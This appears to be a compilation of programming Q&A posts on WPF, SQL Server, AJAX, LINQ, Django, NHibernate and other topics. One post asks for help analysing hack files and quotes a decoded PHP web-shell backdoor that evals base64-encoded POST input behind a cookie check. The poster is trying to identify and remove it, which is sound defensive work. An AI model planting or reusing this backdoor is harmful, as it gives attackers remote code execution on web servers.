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• How to obtain the panel within a treeview (WPF)

  - by sperling

  How can one obtain the panel that is used within a TreeView? I've read that by default TreeView uses a VirtualizingStackPanel for this. When I look at a TreeView template, all I see is <ItemsPresenter />, which seems to hide the details of what panel is used. Possible solutions: 1) On the treeview instance ("tv"), from code, do this: tv.ItemsPanel. The problem is, this does not return a panel, but an ItemsPanelTemplate ("gets or sets the template that defines the panel that controls the layout of the items"). 2) Make a TreeView template that explicitly replaces <ItemsPresenter /> with your own ItemsControl.ItemsPanel. I am providing a special template anyways, so this is fine in my scenario. Then give a part name to the panel that you place within that template, and from code you can obtain that part (i.e. the panel). The problem with this? see below. (I am using a control named VirtualTreeView which is derived from TreeView, as is seen below): , use following: -- [sorry folks about poor formatting here, this is my first post, I tried 4 spaces for code... doesn't seem to work?] [I stripped out all clutter here for visibility...] The problem with this is: this immediately overrides any TreeView layout mechanism. Actually, you just get a blank screen, even when you have TreeViewItems filling the tree. Well, the reason I want to get a hold of the panel is to take some part in the MeaureOverride, but without going into all of that, I certainly do not want to rewrite the book of how to layout a treeview. I.e., doing this the step #2 way seems to invalidate the point of even using a TreeView in the first place. Sorry if there is some confusion here, thanks for any help you can offer.

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• Two radically different queries against 4 mil records execute in the same time - one uses brute force.

  - by IanC

  I'm using SQL Server 2008. I have a table with over 3 million records, which is related to another table with a million records. I have spent a few days experimenting with different ways of querying these tables. I have it down to two radically different queries, both of which take 6s to execute on my laptop. The first query uses a brute force method of evaluating possibly likely matches, and removes incorrect matches via aggregate summation calculations. The second gets all possibly likely matches, then removes incorrect matches via an EXCEPT query that uses two dedicated indexes to find the low and high mismatches. Logically, one would expect the brute force to be slow and the indexes one to be fast. Not so. And I have experimented heavily with indexes until I got the best speed. Further, the brute force query doesn't require as many indexes, which means that technically it would yield better overall system performance. Below are the two execution plans. If you can't see them, please let me know and I'll re-post then in landscape orientation / mail them to you. Brute-force query: Index-based exception query: My question is, based on the execution plans, which one look more efficient? I realize that thing may change as my data grows.

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• PHP hack files found - help decoding and identifying

  - by akc

  I found a handful of hack files on our web server. I managed to de-obfuscate them a bit -- they all seem to have a part that decodes into a chunk that looks like: if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;} But this chunk (decoded above) is usually embedded into a larger code snippet. I've shared the code of one of the files in its entirety here: http://pastie.org/3753704 I can sort of see where this code is going, but definitely not an expert at PHP and could use some help figuring out more specifically what it's doing or enabling. Also, if anyone happens to be familiar with this hack, any information on how it works, and where the backdoor and other components of the hack may be hidden would be super helpful and greatly appreciated. I tried to Google parts of the code, to see if others have reported it, but only came up with this link: http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla Thanks!

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• How to use AJAX to populate state list depending on Country list?

  - by jasondavis

  I have the code below that will change a state dropdown list when you change the country list. How can I make it change the state list ONLY when country ID number 2234 and 224 are selected? If another country is selected is should change into this text input box <input type="text" name="othstate" value="" class="textBox"> The form <form method="post" name="form1"> <select style="background-color: #ffffa0" name="country" onchange="getState(this.value)"> <option>Select Country</option> <option value="223">USA</option> <option value="224">Canada</option> <option value="225">England</option> <option value="226">Ireland</option> </select> <select style="background-color: #ffffa0" name="state"> <option>Select Country First</option> </select> The javascript <script> function getState(countryId) { var strURL="findState.php?country="+countryId; var req = getXMLHTTP(); if (req) { req.onreadystatechange = function() { if (req.readyState == 4) { // only if "OK" if (req.status == 200) { document.getElementById('statediv').innerHTML=req.responseText; } else { alert("There was a problem while using XMLHTTP:\n" + req.statusText); } } } req.open("GET", strURL, true); req.send(null); } } </script>

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• Bind a ViewModel to a DropDownListFor with a third value besides dataValueField/dataTextField

  - by Elisa

  When I show a list of testplanViewModels in my View and the user selects one the SelectedTestplanId is returned to the Controller post action. What should also be returned is the TemplateId which belongs to the SelectedTestplanId. When the AutoMapper definition is run the Testplan.TestplanId is implicitly copied over to the TestplanViewModel.TestplanId. The same could be done by providing a TemplateId on the TestplanViewModel. When the user selects now a "TestplanViewModel" in the View, how can I attach the TemplateId to the controller action to access it there? The DropDownList does not allow 2 dataValueFields! CreateMap<Testplan, TestplanViewModel>().ForMember(dest => dest.Name, opt => opt.MapFrom(src => string.Format("{0}-{1}-{2}-{3}", src.Release.Name, src.Template.Name, src.CreatedAt, src.CreatedBy))); public ActionResult OpenTestplanViewModels() { IEnumerable<Testplan> testplans = _testplanDataProvider.GetTestplans(); var viewModel = new OpenTestplanViewModel { DisplayList = Mapper.Map<IEnumerable<Testplan>, IEnumerable<TestplanViewModel>>(testplans) }; return PartialView(viewModel); } public class TestplanViewModel { public int TestplanId { get; set; } public string Name { get; set; } } public class OpenTestplanViewModel { [Required(ErrorMessage = "No item selected.")] public int SelectedTestplanId { get; set; } public IEnumerable<TestplanViewModel> DisplayList { get; set; } } OpenTestplanViewModel @using (Html.BeginForm("Open", "Testplan")) { @Html.ValidationSummary(false) @Html.DropDownListFor(x => x.SelectedTestplanId, new SelectList(Model.DisplayList, "TestplanId", "Name"), new { @class = "listviewmodel" }) }

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• How to handle images better in Android

  - by primal

  In the microblogging application I am developing I wish to show an user image beside each post in the timeline. The images are small in size(max 50*50 dip) and are not more than 10 in number. I've two approaches in my mind. 1) Allow user to chose an image from Gallery on signing up. Send the image to the server and on subsequent signups load the image from the server. I'm worried whether this approach is doing too much unnecessary work. 2) The same method is same as above in first step but this time the image is not send to the server but a key value associated with the image is sent to the server. On subsequent signups, after obtaining the key from the server the specific image is loaded from gallery. I am not sure whether the second approach is possible. Any corrections on this aspect would be much appreciated. Also, Is it possible to store an image in SharedPreferences? Any new approach to handle this problem better are welcome.

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• Trouble decoding JSON string with PHP

  - by Anthony

  I'm trying to send an array of objects from JS to PHP using JSON. I have an array of players as follows: var player; var players = new Array(); //loop for number of players player = new Object(); player.id = theID; players[i] = player; Then my AJAX call looks like this: JSONplayers = JSON.stringify(players); $.ajax({ type: "POST", url: "php/ajax_send_players.php", data: { "players" : JSONplayers } On the PHP side the decode function looks like this $players = $_REQUEST['players']; echo var_dump($players); $players = json_decode($players); echo 'players: ' .$players. '--'. $players[0] . '--'. $players[0]->id; Debugging in chrome, the JSON players var looks like this before it is sent: JSONplayers: "[{"id":"Percipient"},{"id":"4"}]" And when I vardump in PHP it looks OK, giving this: string(40) "[{\"id\":\"Percipient\"},{\"id\":\"4\"}]" But I can't access the PHP array, and the echo statement about starting with players: outputs this: players: ---- Nothing across the board...maybe it has something to do with the \'s in the array, I am new to this and might be missing something very simple. Any help would be greatly appreciated. note I've also tried json_decode($players, true) to get it as an assoc array but get similar results.

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• Adding defaults and indexes to a script/generate command in a Rails Template?

  - by charliepark

  I'm trying to set up a Rails Template that would allow for comprehensive set-up of a specific Rails app. Using Pratik Naik's overview (http://m.onkey.org/2008/12/4/rails-templates), I was able to set up a couple of scaffolds and models, with a line that looks something like this ... generate("scaffold", "post", "title:string", "body:string") I'm now trying to add in Delayed Jobs, which normally has a migration file that looks like this: create_table :delayed_jobs, :force => true do |table| table.integer :priority, :default => 0 # Allows some jobs to jump to the front of the queue table.integer :attempts, :default => 0 # Provides for retries, but still fail eventually. table.text :handler # YAML-encoded string of the object that will do work table.text :last_error # reason for last failure (See Note below) table.datetime :run_at # When to run. Could be Time.now for immediately, or sometime in the future. table.datetime :locked_at # Set when a client is working on this object table.datetime :failed_at # Set when all retries have failed (actually, by default, the record is deleted instead) table.string :locked_by # Who is working on this object (if locked) table.timestamps end So, what I'm trying to do with the Rails template, is to add in that :default = 0 into the master template file. I know that the rest of the template's command should look like this: generate("migration", "createDelayedJobs", "priority:integer", "attempts:integer", "handler:text", "last_error:text", "run_at:datetime", "locked_at:datetime", "failed_at:datetime", "locked_by:string") Where would I put (or, rather, what is the syntax to add) the :default values in that? And if I wanted to add an index, what's the best way to do that?

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• How to Update with LINQ?

  - by DaveDev

  currently, I'm doing an update similar to as follows, because I can't see a better way of doing it. I've tried suggestions that I've read in blogs but none work, such as http://msdn.microsoft.com/en-us/library/bb425822.aspx and http://weblogs.asp.net/scottgu/archive/2007/05/19/using-linq-to-sql-part-1.aspx Maybe these do work and I'm missing some point. Has anyone else had luck with them? // please note this isn't the actual code. // I've modified it to clarify the point I wanted to make // and also I didn't want to post our code here! public bool UpdateMyStuff(int myId, List<int> funds) { // get MyTypes that correspond to the ID I want to update IQueryable<MyType> myTypes = database.MyTypes.Where(xx => xx.MyType_MyId == myId); // delete them from the database foreach (db.MyType mt in myTypes) { database.MyTypes.DeleteOnSubmit(mt); } database.SubmitChanges(); // create a new row for each item I wanted to update, and insert it foreach (int fund in funds) { database.MyType mt = new database.MyType { MyType_MyId = myId, fund_id = fund }; database.MyTypes.InsertOnSubmit(mt); } // try to commit the insert try { database.SubmitChanges(); return true; } catch (Exception) { return false; throw; } } Unfortunately, there isn't a database.MyTypes.Update() method so I don't know a better way to do it. Can sombody suggest what I could do? Thanks. ..as a side note, why isn't there an Update() method?

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• Expanding DIV slides behind DIV beneath it...

  - by Paddy

  I'm not sure that I'm going to get an answer here, as I'd need to post a lot of CSS and html to get a working recreation, however... I have structure something like this: <fieldset> <legend>Test A</legend> <h3>Test A</h3> <p> Something here. </p> <div style="display:hidden;">I'm dynamically displayed</div> </fieldset> <fieldset> <legend>Test B</legend> <h3>Test B</h3> <p> Something B here. </p> </fieldset> I have code that toggles the display of my hidden div using jQuery and .show(). This works fine in IE8, firefox and Safari, but when I stick IE8 into compatibility mode, then the first fieldset (Test A) will expand, but the expansion happens behind the second fieldset, which doesn't move (i.e. it slides down behind it). I have quite a bit of CSS in use here, and I'm going to have to go back and unpick the whold lot, which isn't a fun idea. If anybody has any idea of one of the IE7 rendering issues that might be affecting this, then I'd very much appreciate it. (note that there is more to the content in these fieldsets than shown, including floated divs). Quick note - if I stick IE7 into quirks mode, it works (but wrecks the rest of my layout) - in standards mode, I get the above behaviour.

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• Diffrernce between BackgroundWorker.ReportProgress() and Control.Invoke()

  - by ohadsc

  What is the difference between options 1 and 2 in the following? private void BGW_DoWork(object sender, DoWorkEventArgs e) { for (int i=1; i<=100; i++) { string txt = i.ToString(); if (Test_Check.Checked) //OPTION 1 Test_BackgroundWorker.ReportProgress(i, txt); else //OPTION 2 this.Invoke((Action<int, string>)UpdateGUI, new object[] {i, txt}); } } private void BGW_ProgressChanged(object sender, ProgressChangedEventArgs e) { UpdateGUI(e.ProgressPercentage, (string)e.UserState); } private void UpdateGUI(int percent, string txt) { Test_ProgressBar.Value = percent; Test_RichTextBox.AppendText(txt + Environment.NewLine); } Looking at reflector, the Control.Invoke() appears to use: this.FindMarshalingControl().MarshaledInvoke(this, method, args, 1); whereas BackgroundWorker.Invoke() appears to use: this.asyncOperation.Post(this.progressReporter, args); (I'm just guessing these are the relevant function calls.) If I understand correctly, BGW Posts to the WinForms window its progress report request, whereas Control.Invoke uses a CLR mechanism to invoke on the right thread. Am I close? And if so, what are the repercussions of using either ? Thanks

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• javascript: "Object doesn't support this property or method" when ActiveX object called.

  - by agnieszka

  I've got simple html on Login.aspx with an ActiveX object: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head><title></title> <script language="javaScript" type="text/javascript"> function getUserInfo() { var userInfo = MyActiveX.GetInfo(); form1.info.value = userInfo; form1.submit(); } </script> </head> <body onload="javascript:getUserInfo()"> <object id="MyActiveX" name="MyActiveX" codebase="MyActiveX.cab" classid="CLSID:C63E6630-047E-4C31-H457-425C8412JAI25"></object> <form name="form1" method="post" action="Login.aspx"> <input type="hidden" id="info" name="info" value="" /> </form> </body> </html> The code works perfectly fine on my machine (edit: hosted and run), it does't work on the other: there is an error "Object doesn't support this property or method" in the first line of javascript function. The cab file is in the same folder as the page file. I don't know javascript at all and have no idea why is the problem occuring. Googling didn't help. Do you ave any idea? Edit: on both machines IE was used and activex was enabled. Edit2: I also added if (document.MyActiveX) at the beggining of the function and I still get error in the same line of code - I mean it looks like document.MyActiveX is true but calling the method still fails

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• jQuery cycle floats on top of other content

  - by Angie Dubis

  I tried to replace my Flash video with a jQuery cycle. The cycle works, but the images will not stay in the editable region I placed them in. Instead they are floating on top of other content. Any ideas? This is happening on the home page of massageeducator.com There are 2 cycles on the page. “Slideshow1” and “slideshow2”. “slideshow1” works perfectly. The only thing I did differently was set up “slideshow2” as a library item since it will appear on every page, but added function code manually. I tried adding code and images via the template and had the same issue. I also tried adding both the function code and slideshow to each page instead of library item - same problem. I have both slide shows pointing to the same jquery.cycle.lite.1.0.js. Should I rename this .js file and have each cycle point to a different file? I am new to jQuery so any help is appreciated. I can't seem to post my code due to the spam filters in here!

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• Print an array elements

  - by 1ace1

  Hello guys, this is my first post and im still a beginner in the programming world so bare with me. I just created an array with 100 initialized values and i want to print out 10 elements on each line so it would be somthing like this 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ...26 this is the code i used and i managed to do it for the first 10 elements but i couldnt figure out how to do it for the rest public static void main(String[] args) { int[] numbers = { 0,1,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17}; int i, count = 0; for (i = 0; i < numbers.length; i++) { System.out.print(numbers[i] + " "); count++; if (count == 9) for (i = 9; i < numbers.length; i++) System.out.println(numbers[i] + " "); } } thanks!

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• Returning c_str from a function

  - by user199421

  This is from a small library that I found online: const char* GetHandStateBrief(const PostFlopState* state) { static std::ostringstream out; ... rest of the function ... return out.str().c_str() Now in my code I am doing this: const char *d = GetHandStateBrief(&post); std::cout<< d << std::endl; Now, at first d contained garbage. I then realized that the c string I am getting from the function is destroyed when the function returns because std::ostringstream is allocated on the stack. So I added: return strdup( out.str().c_str()); And now I can get the text I need from the function. I have two questions: 1) Am I understanding this correctly? 2) I later noticed that the ostringstream was was allocated with static storage. Doesn't that mean that the object is supposed to stay in memory until the program terminates? and if so , then why can't I access the string?

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• Should I Use Anchor, Button Or Form Submit For "Follow" Feature In Rails

  - by James

  I am developing an application in Rails 3 using a nosql database. I am trying to add a "Follow" feature similar to twitter or github. In terms of markup, I have determined that there are three ways to do this. 1) Use a regular anchor. (Github Uses This Method) <a href="/users/follow?target=Joe">Follow</a> 2) Use a button. (Twitter Uses This Method) <button href="/friendships/create/">Follow</button> 3) Use a form with a submit button. (Has some advantages for me, but I haven't see anyone do it yet.) <form method="post" id="connection_new" class="connection_new" action="/users/follow"> <input type="hidden" value="60d7b563355243796dd8496e17d36329" name="target" id="target"> <input type="submit" value="Follow" name="commit" id="connection_submit"> </form> Since I want to store the user_id in the database and not the username, options 1 and 2 will force me to do a database query to get the actual user_id, whereas option 3 will allow me to store the user_id in a hidden form field so that I don't have to do any database lookups. I can just get the id from the params hash on form submission. I have successfully got each of these methods working, but I would like to know what is the best way to do this. Which way is more semantic, secure, better for spiders, etc...? Is there a reason both twitter and github don't use forms to do this? Any guidance would be appreciated. I am leaning towards using the form method since then I don't have to query the db to get the id of the user, but I am worried that there must be a reason the big guys are just using anchors or buttons for this. I am a newb so go easy on me if I am totally missing something. Thanks!

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• Trouble creating calendar in Google API via Coldfusion

  - by KingErroneous

  I am trying to create a caledar using the Google API, and it just returns the list of calendars in my account, just like I sent a GET request. Here is my code: <cfxml variable="locals.xml"> <cfoutput> <entry xmlns="http://www.w3.org/2005/Atom" xmlns:gd="http://schemas.google.com/g/2005" xmlns:gCal="http://schemas.google.com/gCal/2005"> <title type="text">#arguments.argTitle#</title> <summary type="text">#arguments.argSummary#</summary> <cfif len(arguments.argTimezone)><gCal:timezone value="#arguments.argTimezone#"></gCal:timezone></cfif> <gCal:hidden value="false"></gCal:hidden> <gCal:accesslevel value="owner" /> <gCal:color value="#arguments.argColor#"></gCal:color> <gd:where rel='' label='' valueString='Oakland'></gd:where> </entry> </cfoutput> </cfxml> <cfhttp url="#variables.baseURL#/default/owncalendars/full" method="post" redirect="false" multiparttype="related" charset="utf-8"> <cfhttpparam type="header" name="Authorization" value="GoogleLogin auth=#getAuth(variables.serviceName)#"> <cfhttpparam type="header" name="Content-Type" value="application/atom+xml"> <cfhttpparam type="header" name="GData-Version" value="2"> <cfhttpparam type="body" value="#trim(locals.xml)#"> </cfhttp> Any help would be appreciated.

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• Django: How can I identify the calling view from a template?

  - by bryan

  Short version: Is there a simple, built-in way to identify the calling view in a Django template, without passing extra context variables? Long (original) version: One of my Django apps has several different views, each with its own named URL pattern, that all render the same template. There's a very small amount of template code that needs to change depending on the called view, too small to be worth the overhead of setting up separate templates for each view, so ideally I need to find a way to identify the calling view in the template. I've tried setting up the views to pass in extra context variables (e.g. "view_name") to identify the calling view, and I've also tried using {% ifequal request.path "/some/path/" %} comparisons, but neither of these solutions seems particularly elegant. Is there a better way to identify the calling view from the template? Is there a way to access to the view's name, or the name of the URL pattern? Update 1: Regarding the comment that this is simply a case of me misunderstanding MVC, I understand MVC, but Django's not really an MVC framework. I believe the way my app is set up is consistent with Django's take on MVC: the views describe which data is presented, and the templates describe how the data is presented. It just happens that I have a number of views that prepare different data, but that all use the same template because the data is presented the same way for all the views. I'm just looking for a simple way to identify the calling view from the template, if this exists. Update 2: Thanks for all the answers. I think the question is being overthought -- as mentioned in my original question, I've already considered and tried all of the suggested solutions -- so I've distilled it down to a "short version" now at the top of the question. And right now it seems that if someone were to simply post "No", it'd be the most correct answer :) Update 3: Carl Meyer posted "No" :) Thanks again, everyone.

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• Android listing design problem with cursors

  - by Priyank

  Hi. I have a following situation in my android app. I have an app that fetches messages from inbox, sent items and drafts based on search keywords. I use to accomplish this by fetching cursors for each manually based on selection by user and then populating them in a custom data holder object. Filter those results based on given keywords and then manually render view with respective data. Someone suggested that I should use a custom Cursor adapter to bind view and my cursor data. So I tried doing that. Now what I am doing is this: Fetch individual cursors for inbox, sent items and drafts. Merge them into one using Merge cursor and then pass that back to my CursorAdapter implmentation. Now where or how do I filter my cursor data based on keywords; because now binding will ensure that they are directly rendered to view on list. Also, some post fetching operation like fetching sender's contact pic and all will be something that I do not want to move to adapter. If I do all this processing in adapter; it'll be heavy and ugly. How could I have designed it better such that it performs and the responsibilities are shared and distributed. Any ideas will be helpful.

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• Why does instanceof seem to work in a static generic function sometimes?

  - by michael

  Greetings. This is my first post in this site. I thought that because of type erasure, one could not expect the following code to compile, and indeed, it did not compile on an earlier version of Eclipse. My understanding was that instanceof was a run-time operator and could not know about the generic type which would be, by run-time, compiled away: public static <E extends Comparable<? super E>> void SampleForQuestion(E e) { if ( !(e instanceof String) ) System.out.println("I am not a String"); else System.out.println("I am a String"); } However, I was surprised to see that one of your threads actually included some code like this in an answer, and my latest Eclipse (Galileo on Windows with JVM 1.6 rev 20) is perfectly happy with it -- and it works, too. (I did notice that someone said it worked on Eclipse but not in another IDE/JDK in that thread, but don't remember the specifics.) Can someone explain why it works, and more importantly, because I have to guide my students, whether it should be expected to work in the future. Thank you. (I hope the code formatting comes through correctly - it looks indented correctly from my perspective and there are no tabs.)

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• jQuery removing elements from DOM put still reporting as present

  - by RyanP13

  Hi, I have an address finder system whereby a user enters a postcode, if postcode is validated then an address list is returned and displayed, they then select an address line, the list dissappears and then the address line is split further into some form inputs. The issue i am facing is when they have been through the above process then cleared the postcode form field, hit the find address button and the address list re-appears. Event though the list and parent tr have been removed from the DOM it is still reporting it is present as length 1? My code is as follows: jQuery // when postcode validated display box var $addressList = $("div#selectAddress > ul").length; // if address list present show the address list if ($addressList != 0) { $("div#selectAddress").closest("tr").removeClass("hide"); } // address list hidden by default // if coming back to modify details then display address inputs var $customerAddress = $("form#detailsForm input[name*='customerAddress']"); var $addressInputs = $.cookies.get('cpqbAddressInputs'); if ($addressInputs) { if ($addressInputs == 'visible') { $($customerAddress).closest("tr").removeClass("hide"); } } else { $($customerAddress).closest("tr").addClass("hide"); } // Need to change form action URL to call post code web service $("input.findAddress").live('click', function(){ var $postCode = encodeURI($("input#customerPostcode").val()); if ($postCode != "") { var $formAction = "customerAction.do?searchAddress=searchAddress&custpc=" + $postCode; $("form#detailsForm").attr("action", $formAction); } else { alert($addressList);} }); // darker highlight when li is clicked // split address string into corresponding inputs $("div#selectAddress ul li").live('click', function(){ $(this).removeClass("addressHover"); //$("li.addressClick").removeClass("addressClick"); $(this).addClass("addressClick"); var $splitAddress = $(this).text().split(","); $($customerAddress).each(function(){ var $inputCount = $(this).index("form#detailsForm input[name*='customerAddress']"); $(this).val($splitAddress[$inputCount]); }); $($customerAddress).closest("tr").removeClass("hide"); $.cookies.set('cpqbAddressInputs', 'visible'); $(this).closest("tr").fadeOut(250, function() { $(this).remove(); }); });

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• Intermittent Issue Writing to Google Appengine Datastore

  - by user242153

  Hi, I have a functioning app and recently have had intermittent problems writing to the datastore. I did not make any relevant code changes, however in the last few days my attempts to write to the datastore sometimes work and sometimes don't. I am trying to save an object that is in a many to one relationship with an existing persisted parent. So, the logic works like this: 1) Parent pulled from the datastore 2) Child created / instantiated using constructor 3) Parent.addSingleChild(child); // the "addSingleChild" method just adds the object argument to the collection of children 4) child.setParent(Parent); // sets the Parent object to the parent field I am using transactions as explained in the documentation ending with "finally {if (tx.isActive()) {tx.rollback(); } }" When the servlet is called, the parent is called from the datastore and the child object is created and added to the many to one mapping to the pre-existing parent. The child should automatically be persisted, since the parent is already persistent, and the child is added to the collection of children that map to the parent. And it worked this way in the past. However, to be sure, i did add a pm.makePersistent(child). Doesn't seem to help, still have the intermittent problem. Any suggestions would be appreciated, and if you need to see the actual code I can post. Thanks

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• How to get the second sub element of every element in a list in R

  - by PaulHurleyuk

  I know I've come across this problem before, but I'm having a bit of a mental block at the moment. and as I can't find it on SO, I'll post it here so I can find it next time. I have a dataframe that contains a field representing an ID label. This label has two parts, an alpha prefix and a numeric suffix. I want to split it apart and create two new fields with these values in. structure(list(lab = c("N00", "N01", "N02", "B00", "B01", "B02", "Z21", "BA01", "NA03")), .Names = "lab", row.names = c(NA, -9L ), class = "data.frame") df$pre<-strsplit(df$lab, "[0-9]+") df$suf<-strsplit(df$lab, "[A-Z]+") Which gives lab pre suf 1 N00 N , 00 2 N01 N , 01 3 N02 N , 02 4 B00 B , 00 5 B01 B , 01 6 B02 B , 02 7 Z21 Z , 21 8 BA01 BA , 01 9 NA03 NA , 03 So, the first strsplit works fine, but the second gives a list, each having two elements, an empty string and the result I want, and stuffs them both into the dataframe column. How can I select the second sub-element from each element of the list ? (or, is there a better way to do this) Thanks Paul.

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• Using SMO to call Database.ExecuteNonQuery() concurrently?

  - by JimDaniel

  I have been banging my head against the wall trying to figure out how I can run update scripts concurrently against multiple databases in a single SQL Server instance using SMO. Our environments have an ever-increasing number of databases which need updating, and iterating through one at a time is becoming a problem (too slow). From what I understand SMO does not support concurrent operations, and my tests have bore that out. There seems to be shared memory at the Server object level, for things like DataReader context, keeps throwing exceptions such as "reader is already open." I apologize for not having the exact exceptions I am getting. I will try to get them and update this post. I am no expert on SMO and just feeling my way through to be honest. Not really sure I am approaching it the right way, but it's something that has to be done, or our productivity will slow to a crawl. So how would you guys do something like this? Am I using the wrong technology with SMO? All I am wanting to do is execute sql scripts against databases in a single sql server instance in parallel. Thanks for any help you can give, Daniel

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• NHibernate unintential lazy property loading

  - by chiccodoro

  I introduced a mapping for a business object which has (among others) a property called "Name": public class Foo : BusinessObjectBase { ... public virtual string Name { get; set; } } For some reason, when I fetch "Foo" objects, NHibernate seems to apply lazy property loading (for simple properties, not associations): The following code piece generates n+1 SQL statements, whereof the first only fetches the ids, and the remaining n fetch the Name for each record: ISession session = ...IQuery query = session.CreateQuery(queryString); ITransaction tx = session.BeginTransaction(); List<Foo> result = new List<Foo>(); foreach (Foo foo in query.Enumerable()) { result.Add(foo); } tx.Commit(); session.Close(); produces: NHibernate: select foo0_.FOO_ID as col_0_0_ from V1_FOO foo0_ NHibernate: SELECT foo0_.FOO_ID as FOO1_2_0_, foo0_.NAME as NAME2_0_ FROM V1_FOO foo0_ WHERE foo0_.FOO_ID=:p0;:p0 = 81 NHibernate: SELECT foo0_.FOO_ID as FOO1_2_0_, foo0_.NAME as NAME2_0_ FROM V1_FOO foo0_ WHERE foo0_.FOO_ID=:p0;:p0 = 36470 NHibernate: SELECT foo0_.FOO_ID as FOO1_2_0_, foo0_.NAME as NAME2_0_ FROM V1_FOO foo0_ WHERE foo0_.FOO_ID=:p0;:p0 = 36473 Similarly, the following code leads to a LazyLoadingException after session is closed: ISession session = ... ITransaction tx = session.BeginTransaction(); Foo result = session.Load<Foo>(id); tx.Commit(); session.Close(); Console.WriteLine(result.Name); Following this post, "lazy properties ... is rarely an important feature to enable ... (and) in Hibernate 3, is disabled by default." So what am I doing wrong? I managed to work around the LazyLoadingException by doing a NHibernateUtil.Initialize(foo) but the even worse part are the n+1 sql statements which bring my application to its knees. This is how the mapping looks like: <class name="Foo" table="V1_FOO"> ... <property name="Name" column="NAME"/> </class> BTW: The abstract "BusinessObjectBase" base class encapsulates the ID property which serves as the internal identifier.

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